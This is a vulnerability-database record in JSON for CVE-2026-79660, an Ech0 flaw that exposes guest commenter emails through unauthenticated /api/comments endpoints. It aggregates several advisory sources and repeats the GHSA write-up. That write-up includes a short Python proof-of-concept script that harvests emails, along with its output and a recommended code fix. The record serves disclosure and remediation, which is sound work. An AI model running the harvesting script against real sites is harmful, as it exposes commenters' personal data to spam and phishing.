{"id":"CVE-2026-79660","aliases":["EUVD-2026-65454","GHSA-845p-52xj-2432","GHSA-rj4g-rqgh-rx9h","GO-2026-5626"],"status":"published","title":"Ech0 before 4.7.3 Email Disclosure via Public API","description":"Ech0 versions before 4.7.3 expose guest commenter email addresses through public API endpoints due to improper JSON serialization tags on the Comment model. Unauthenticated attackers can harvest all commenter emails by calling the /api/comments and /api/comments/public endpoints without authentication.","severity":{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00409,"percentile":0.35443,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-200","CWE-359"],"published":"2026-05-07T21:16:15Z","modified":"2026-10-28T02:30:48Z","fixes":[{"ecosystem":"Go","package":"github.com/lin-snow/Ech0","fixed_in":["1.4.8-0.20260503034700-cb8d7a997dd8"],"sources":["ghsa","osv"]},{"ecosystem":"Go","package":"github.com/lin-snow/ech0","fixed_in":["1.4.8-0.20260503034700-cb8d7a997dd8"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/lin-snow/Ech0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.4.8-0.20260503034700-cb8d7a997dd8"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/lin-snow/Ech0","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.4.8-0.20260503034700-cb8d7a997dd8"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/lin-snow/ech0","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.4.8-0.20260503034700-cb8d7a997dd8"}]}]}],"products":[{"vendor":"lin-snow","product":"ech0"}],"references":[{"url":"https://github.com/lin-snow/Ech0/security/advisories/GHSA-rj4g-rqgh-rx9h","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/ech0-before-email-disclosure-via-public-api","tags":["third-party-advisory","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79660","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-845p-52xj-2432"},{"url":"https://github.com/lin-snow/Ech0/commit/cb8d7a997dd8f573ef0e22e4e6b23b2b8ee92ebd","tags":["web"]},{"url":"https://github.com/advisories/GHSA-rj4g-rqgh-rx9h"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/79xxx/CVE-2026-79660.json","tags":["advisory"]},{"url":"https://github.com/lin-snow/Ech0","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-79660","title":"Ech0 before 4.7.3 Email Disclosure via Public API","description":"Ech0 versions before 4.7.3 expose guest commenter email addresses through public API endpoints due to improper JSON serialization tags on the Comment model. Unauthenticated attackers can harvest all commenter emails by calling the /api/comments and /api/comments/public endpoints without authentication.","status":"published","published":"2026-08-25T11:33:24.692Z","modified":"2026-08-25T15:32:51.102Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"},{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T13:50:27.582139Z"}],"euvd":[{"id":"EUVD-2026-65454","description":"Ech0 versions before 4.7.3 expose guest commenter email addresses through public API endpoints due to improper JSON serialization tags on the Comment model. Unauthenticated attackers can harvest all commenter emails by calling the /api/comments and /api/comments/public endpoints without authentication.","status":"published","published":"2026-08-25T11:33:24Z","modified":"2026-08-25T15:32:51Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T18:01:32.513581Z"}],"ghsa":[{"id":"GHSA-845p-52xj-2432","title":"Ech0 versions before 4.7.3 expose guest commenter email addresses through public API endpoints...","description":"Ech0 versions before 4.7.3 expose guest commenter email addresses through public API endpoints due to improper JSON serialization tags on the Comment model. Unauthenticated attackers can harvest all commenter emails by calling the /api/comments and /api/comments/public endpoints without authentication.","status":"published","published":"2026-08-25T12:31:26Z","modified":"2026-08-25T12:31:27Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"},{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T15:10:56.831918Z"},{"id":"GHSA-rj4g-rqgh-rx9h","title":"Ech0 comment model's Email field returned on public /api/comments endpoints","description":"## Summary\n\nThe `Comment` model serializes its `Email` field through the public comment-listing API. `internal/model/comment/comment.go:33` uses `json:\"email\"`, while adjacent PII fields (`IPHash`, `UserAgent`) correctly use `json:\"-\"`. The public endpoints `GET /api/comments?echo_id=X` and `GET /api/comments/public?limit=N` both live on `PublicRouterGroup` with no authentication. Alice retrieves every guest commenter's email address on the instance with a few unauthenticated HTTP calls.\n\n## Details\n\nThe Comment model at `internal/model/comment/comment.go:33`:\n\n```go\ntype Comment struct {\n    // ... \n    Email     string     `gorm:\"size:255;not null;index\" json:\"email\"`\n    IPHash    string     `gorm:\"size:128;index\"          json:\"-\"`\n    UserAgent string     `gorm:\"size:512\"                json:\"-\"`\n    // ...\n}\n```\n\nThe `json:\"-\"` on `IPHash` and `UserAgent` shows the developer's intent: hide server-side PII from API responses. The `Email` field missed the same tag. GORM materializes the full struct and the Gin handler returns it verbatim.\n\nRoutes at `internal/router/comment.go:20` and comment public-feed route:\n\n```go\nappRouterGroup.PublicRouterGroup.GET(\"/comments\", middleware.NoCache(), h.CommentHandler.ListCommentsByEchoID())\nappRouterGroup.PublicRouterGroup.GET(\"/comments/public\", middleware.NoCache(), h.CommentHandler.ListPublicComments())\n```\n\nBoth handlers call `ListPublicByEchoID` (service at `internal/service/comment/comment.go:329`) or `ListPublicComments` (service at `:340`), both of which return the slice of `Comment` structs to `ctx.JSON`. No DTO projection, no field stripping.\n\nThe email field is populated for every guest comment: the submission form requires an email address so the server can later send moderation or reply notifications. The UI does not display the email, so users assume it stays server-side.\n\nGHSA-m983-7426-5hrj (2026-03-22) closed a similar PII leak on `GET /api/allusers`, which exposed account-owner emails. This report covers a distinct endpoint (`/api/comments` and `/api/comments/public`) and a distinct data subject (guest commenters, not registered account owners).\n\n## Proof of Concept\n\nAnonymous caller harvests commenter emails on the default install:\n\n```python\nimport requests\nTARGET = \"http://localhost:8300\"\n\n# Any echo UUID from the public feed.\npub_id = requests.get(f\"{TARGET}/api/echo/page?page=1\u0026pageSize=1\").json()[\"data\"][\"items\"][0][\"id\"]\n\n# No auth header. The response includes the raw email field.\nr = requests.get(f\"{TARGET}/api/comments\", params={\"echo_id\": pub_id})\nfor c in r.json()[\"data\"]:\n    print(f\"  nickname={c['nickname']!r}  email={c.get('email')!r}\")\n\n# The /public variant returns recent comments across every echo.\nr = requests.get(f\"{TARGET}/api/comments/public\", params={\"limit\": 100})\nemails = {c.get(\"email\") for c in r.json()[\"data\"] if c.get(\"email\")}\nprint(f\"harvested {len(emails)} unique emails from /comments/public\")\n```\n\nObserved on v4.5.6:\n\n```\nnickname='GuestHarvestMe'  email='leaked-harvest-target@example.com'\nharvested 1 unique emails from /comments/public\n```\n\nThe instance had one guest comment; its email returned in both endpoints. An instance with any commenter volume returns every address.\n\n## Impact\n\nAnonymous harvest of every guest commenter's email address across the instance. Email addresses submitted for moderation or reply notifications are treated as private by user expectation; any visitor pulls the full list with a short paginated loop against `/api/comments/public`. Privacy-regulation exposure follows:\n\n- **GDPR and CCPA.** Email is personal data. Exposing it to any internet visitor without consent is a notifiable incident under both regimes.\n- **Spam and phishing targeting.** Attackers map commenter emails to nicknames and per-echo topics, then send targeted phishing that references content the victim engaged with.\n- **Cross-instance aggregation.** A scraper against any public-facing Ech0 instance yields a curated list of people who comment on the topics the site covers.\n\nNo authentication required. No admin role required. The `/comments/public` endpoint returns cross-echo aggregated data, so one call covers the whole instance.\n\n## Recommended Fix\n\nChange the JSON tag on the Email field to match the adjacent PII fields:\n\n```go\nEmail string `gorm:\"size:255;not null;index\" json:\"-\"`\n```\n\nOr, if some authenticated view needs the email, introduce a `PublicComment` DTO that projects only non-sensitive fields:\n\n```go\ntype PublicComment struct {\n    ID        string    `json:\"id\"`\n    EchoID    string    `json:\"echo_id\"`\n    Nickname  string    `json:\"nickname\"`\n    Website   string    `json:\"website,omitempty\"`\n    Content   string    `json:\"content\"`\n    Status    string    `json:\"status\"`\n    Hot       bool      `json:\"hot\"`\n    Source    string    `json:\"source\"`\n    CreatedAt int64     `json:\"created_at\"`\n    UpdatedAt int64     `json:\"updated_at\"`\n}\n```\n\nProject the handler output through this DTO. Keep the raw `Comment` struct internal to the service layer.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","status":"published","published":"2026-05-07T21:16:15Z","modified":"2026-05-07T21:16:16Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-200","CWE-359"],"updated_at":"2026-11-02T14:40:03.762927Z"}],"nvd":[{"id":"CVE-2026-79660","description":"Ech0 versions before 4.7.3 expose guest commenter email addresses through public API endpoints due to improper JSON serialization tags on the Comment model. Unauthenticated attackers can harvest all commenter emails by calling the /api/comments and /api/comments/public endpoints without authentication.","status":"published","published":"2026-08-25T12:16:29.617Z","modified":"2026-08-31T20:50:15.927Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T14:12:41.347728Z"}],"osv":[{"id":"CVE-2026-79660","title":"Ech0 before 4.7.3 Email Disclosure via Public API","description":"Ech0 versions before 4.7.3 expose guest commenter email addresses through public API endpoints due to improper JSON serialization tags on the Comment model. Unauthenticated attackers can harvest all commenter emails by calling the /api/comments and /api/comments/public endpoints without authentication.","status":"published","published":"2026-08-25T11:33:24.692Z","modified":"2026-10-28T02:30:48.26604418Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T15:45:17.44708Z"},{"id":"GHSA-rj4g-rqgh-rx9h","title":"Ech0 comment model's Email field returned on public /api/comments endpoints","description":"## Summary\n\nThe `Comment` model serializes its `Email` field through the public comment-listing API. `internal/model/comment/comment.go:33` uses `json:\"email\"`, while adjacent PII fields (`IPHash`, `UserAgent`) correctly use `json:\"-\"`. The public endpoints `GET /api/comments?echo_id=X` and `GET /api/comments/public?limit=N` both live on `PublicRouterGroup` with no authentication. Alice retrieves every guest commenter's email address on the instance with a few unauthenticated HTTP calls.\n\n## Details\n\nThe Comment model at `internal/model/comment/comment.go:33`:\n\n```go\ntype Comment struct {\n    // ... \n    Email     string     `gorm:\"size:255;not null;index\" json:\"email\"`\n    IPHash    string     `gorm:\"size:128;index\"          json:\"-\"`\n    UserAgent string     `gorm:\"size:512\"                json:\"-\"`\n    // ...\n}\n```\n\nThe `json:\"-\"` on `IPHash` and `UserAgent` shows the developer's intent: hide server-side PII from API responses. The `Email` field missed the same tag. GORM materializes the full struct and the Gin handler returns it verbatim.\n\nRoutes at `internal/router/comment.go:20` and comment public-feed route:\n\n```go\nappRouterGroup.PublicRouterGroup.GET(\"/comments\", middleware.NoCache(), h.CommentHandler.ListCommentsByEchoID())\nappRouterGroup.PublicRouterGroup.GET(\"/comments/public\", middleware.NoCache(), h.CommentHandler.ListPublicComments())\n```\n\nBoth handlers call `ListPublicByEchoID` (service at `internal/service/comment/comment.go:329`) or `ListPublicComments` (service at `:340`), both of which return the slice of `Comment` structs to `ctx.JSON`. No DTO projection, no field stripping.\n\nThe email field is populated for every guest comment: the submission form requires an email address so the server can later send moderation or reply notifications. The UI does not display the email, so users assume it stays server-side.\n\nGHSA-m983-7426-5hrj (2026-03-22) closed a similar PII leak on `GET /api/allusers`, which exposed account-owner emails. This report covers a distinct endpoint (`/api/comments` and `/api/comments/public`) and a distinct data subject (guest commenters, not registered account owners).\n\n## Proof of Concept\n\nAnonymous caller harvests commenter emails on the default install:\n\n```python\nimport requests\nTARGET = \"http://localhost:8300\"\n\n# Any echo UUID from the public feed.\npub_id = requests.get(f\"{TARGET}/api/echo/page?page=1\u0026pageSize=1\").json()[\"data\"][\"items\"][0][\"id\"]\n\n# No auth header. The response includes the raw email field.\nr = requests.get(f\"{TARGET}/api/comments\", params={\"echo_id\": pub_id})\nfor c in r.json()[\"data\"]:\n    print(f\"  nickname={c['nickname']!r}  email={c.get('email')!r}\")\n\n# The /public variant returns recent comments across every echo.\nr = requests.get(f\"{TARGET}/api/comments/public\", params={\"limit\": 100})\nemails = {c.get(\"email\") for c in r.json()[\"data\"] if c.get(\"email\")}\nprint(f\"harvested {len(emails)} unique emails from /comments/public\")\n```\n\nObserved on v4.5.6:\n\n```\nnickname='GuestHarvestMe'  email='leaked-harvest-target@example.com'\nharvested 1 unique emails from /comments/public\n```\n\nThe instance had one guest comment; its email returned in both endpoints. An instance with any commenter volume returns every address.\n\n## Impact\n\nAnonymous harvest of every guest commenter's email address across the instance. Email addresses submitted for moderation or reply notifications are treated as private by user expectation; any visitor pulls the full list with a short paginated loop against `/api/comments/public`. Privacy-regulation exposure follows:\n\n- **GDPR and CCPA.** Email is personal data. Exposing it to any internet visitor without consent is a notifiable incident under both regimes.\n- **Spam and phishing targeting.** Attackers map commenter emails to nicknames and per-echo topics, then send targeted phishing that references content the victim engaged with.\n- **Cross-instance aggregation.** A scraper against any public-facing Ech0 instance yields a curated list of people who comment on the topics the site covers.\n\nNo authentication required. No admin role required. The `/comments/public` endpoint returns cross-echo aggregated data, so one call covers the whole instance.\n\n## Recommended Fix\n\nChange the JSON tag on the Email field to match the adjacent PII fields:\n\n```go\nEmail string `gorm:\"size:255;not null;index\" json:\"-\"`\n```\n\nOr, if some authenticated view needs the email, introduce a `PublicComment` DTO that projects only non-sensitive fields:\n\n```go\ntype PublicComment struct {\n    ID        string    `json:\"id\"`\n    EchoID    string    `json:\"echo_id\"`\n    Nickname  string    `json:\"nickname\"`\n    Website   string    `json:\"website,omitempty\"`\n    Content   string    `json:\"content\"`\n    Status    string    `json:\"status\"`\n    Hot       bool      `json:\"hot\"`\n    Source    string    `json:\"source\"`\n    CreatedAt int64     `json:\"created_at\"`\n    UpdatedAt int64     `json:\"updated_at\"`\n}\n```\n\nProject the handler output through this DTO. Keep the raw `Comment` struct internal to the service layer.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","status":"published","published":"2026-05-07T21:16:15Z","modified":"2026-08-27T04:10:42.055987546Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-200","CWE-359"],"updated_at":"2026-11-02T15:46:55.877614Z"},{"id":"GO-2026-5626","title":"Ech0 comment model's Email field returned on public /api/comments endpoints in github.com/lin-snow/ech0","description":"Ech0 comment model's Email field returned on public /api/comments endpoints in github.com/lin-snow/ech0","status":"published","published":"2026-06-25T22:34:34Z","modified":"2026-08-27T04:10:42.055987546Z","updated_at":"2026-11-02T15:47:02.838915Z"}]}}
